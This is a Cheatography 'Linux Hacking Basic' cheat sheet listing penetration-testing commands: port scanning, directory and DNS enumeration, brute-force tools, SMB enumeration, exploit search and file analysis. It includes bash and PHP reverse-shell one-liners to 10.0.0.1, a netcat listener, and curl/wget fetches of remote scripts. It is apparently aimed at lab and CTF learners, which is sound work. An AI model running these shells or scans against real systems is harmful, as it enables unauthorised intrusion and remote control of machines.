Linux Hacking Basic Cheat Sheet

by hyperflu via cheatography.com/116672/cs/21776/

Basic networking

Show IP configuration

```
ip a s
```

DNS lookup

```
dig host-name.com
```

DNS Reverse lookup

```
dig -x 10.10.10.12
```

Lookup DNS entries for a host or ip

```
nslookup google.com
```

IP for hostname

```
host google.com
```

Http Download

Using curl

```
curl http://host:8080/file.sh - o output.sh
```

Using wget

```
wget http://host:8080/file.sh
```

Enumeration

Portscan (first 10000 ports)

```
nmap -sC -sV 10.10.10.12
```

Portscan (all ports)

```
nmap -p- -sV 10.10.10.12
```

Portscan (UDP)

```
nmap -sU 10.10.10.12
```

Gobuster

```
gobuster -w wordlist.txt dir -u http://10.10.10.12
```

Dirb

```
dirb http://10.10.10.12 wordlist.txt
```

Wordpress enumeration

```
wpscan --url http://10.10.10.12
```

Website technology enumeration

```
whatweb http://10.10.10.12
```

Enumeration (cont)

DNS Enumeration

```
dnsrecon -d google.com -n 10.10.10.12
```

DNS Zonetransfer

```
dnsrecon -t axfr -d zonetransfer.me
```

List subdomains

```
sublist3r -d target-host.com
```

Wordlists can be found at `/usr/share/wordlists/dirbuster/`

Find target in network

Readout ARP cache

```
ip neigh
```

Nmap Host Discovery

```
nmap -sn 10.10.10.0/24
```

TCP scan

```
nmap -Pn 10.10.10.0/24
```

Serving own data

Python2 Webserver (current folder)

```
python -m SimpleHTTPServer 8080
```

Python3 Webserver (current folder)

```
python3 -m http.server 8080
```

Listen on port

```
nc -lvnp 8080
```

Exploit DB

Search for exploit

```
searchsploit apache
```

View exploit

```
searchsploit -x path/to/exploit
```

Copy exploit to current directory

```
searchsploit -m path/to/exploit
```

Brute forcing

Bruteforce websites (e.g. login)

```
hydra
```

Bruteforce website paths

```
wfuzz
```

Crack files

```
john
```

Check each man-page to find the detailed command parameters

Server Message Block (SMB)

SMB enumeration tool

```
smbmap -H 10.10.10.12
```

SMB network browser

```
smbtree
```

SMB Client

```
smbclient //10.10.10.12/
```

Useful commands

Change directory

```
cd folder
```

Create directory

```
mkdir foldername
```

Delete file

```
rm file.jpg
```

Delete folder

```
rm -r folder
```

Search string in file

```
grep pattern file.txt
```

Find file in a folder

```
find /path -name "*.xml"
```

Edit file (vi)

```
vi file.txt
```

By **hyperflu**
cheatography.com/hyperflu/

Published 11th February, 2020.
Last updated 11th February, 2020.

Cheatography

Linux Hacking Basic Cheat Sheet

by hyperflu via cheatography.com/116672/cs/21776/

Reverse shell

Bash

```
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
```

PHP

```
$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");
```

Other webshells can be found at `/usr/share/webshells/`

File analysis

What is this file?

```
file unknown.x
```

Is there something hidden?

```
binwalk file.png
```

Extract hidden content

```
binwalk -e file.png
```

Encoding/Decoding

Text to base64

```
echo -n "text" | base64
```

base64 to text

```
echo -n "dGV4dA==" | base64 -d
```

hexeditor

```
xxd
```

By **hyperflu**
cheatography.com/hyperflu/

Published 11th February, 2020.
Last updated 11th February, 2020.